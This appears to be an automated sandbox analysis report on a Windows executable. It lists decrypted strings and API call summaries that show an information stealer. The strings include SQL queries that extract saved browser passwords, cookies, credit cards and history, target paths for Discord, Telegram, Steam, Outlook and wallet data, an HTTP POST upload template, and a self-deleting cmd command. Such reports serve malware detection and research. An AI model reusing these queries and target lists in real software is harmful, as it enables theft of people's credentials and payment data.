Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: browser:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: profile:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: url:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: login:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: password:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Opera
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: OperaGX
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Network
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: cookies
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: .txt
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: TRUE
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: FALSE
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: autofill
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: history
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: cc
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: name:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: month:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: year:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: card:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Cookies
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Login Data
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Web Data
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: History
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: logins.json
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: usernameField
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: guid
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: plugins
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: IndexedDB
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Opera Stable
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: CURRENT
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Local State
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: chrome
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: opera
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: firefox
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: wallets
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ProductName
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: x32
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: x64
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: DisplayName
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Network Info:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: System Summary:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - HWID:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - OS:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Architecture:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - UserName:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Local Time:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - UTC:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Language:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Laptop:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Running Path:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - CPU:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Threads:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Cores:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - RAM:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: - GPU:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: User Agents:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: All Users:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Current User:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Process List:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: system_info.txt
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \Temp\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: .exe
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: runas
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: open
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: /c start
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: %RECENT%
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: *.lnk
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: files
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \discord\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: key_datas
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: map*
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Telegram
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Tox
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: *.tox
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: *.ini
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Password
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 00000001
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 00000002
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 00000003
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: 00000004
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Pidgin
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \.purple\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: accounts.xml
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: token:
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: SteamPath
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \config\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ssfn*
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: config.vdf
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \Steam\
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: done
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: soft
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: https
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: POST
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: hwid
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: build
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: token
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: file_name
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: file
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: message
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.2BI8rJKpBa.exe.400000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00406000 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,GetProcessHeap,HeapAlloc,lstrlenA,memcpy,lstrlenA,lstrlenA,memcpy,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	0_2_00406000
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00424090 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00424090
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00416DE0 lstrcpy,SHGetFolderPathA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,LocalAlloc,strtok_s,lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	0_2_00416DE0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00409BE0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409BE0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00404B80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,lstrlenA,lstrcpy,lstrcatA,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,	0_2_00404B80
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0040ED90 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0040ED90
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00407690 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407690
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00416FF9 lstrcpy,lstrcpy,lstrcpy,lstrcpy,GetProcessHeap,HeapAlloc,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,StrStrA,lstrlenA,malloc,strncpy,lstrcpy,lstrcpy,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,lstrlenA,lstrcpy,strtok_s,lstrlenA,lstrcpy,memset,	0_2_00416FF9
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00409B80 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409B80
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6C9C6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C9C6C80
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_6CB1A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CB1A9A0

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

Unpacked PE file: 0.2.2BI8rJKpBa.exe.400000.0.unpack

Source: 2BI8rJKpBa.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50006 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: 2BI8rJKpBa.exe, 00000000.00000002.2676241303.000000006CA2D000.00000002.00000001.01000000.00000012.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 2BI8rJKpBa.exe, 00000000.00000002.2676493208.000000006CBEF000.00000002.00000001.01000000.00000011.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 2BI8rJKpBa.exe, 00000000.00000002.2676241303.000000006CA2D000.00000002.00000001.01000000.00000012.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0040DD70 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0040DD70
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004115E0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_004115E0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004015A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_004015A0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041D640 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_0041D640
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00414EC0 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	0_2_00414EC0
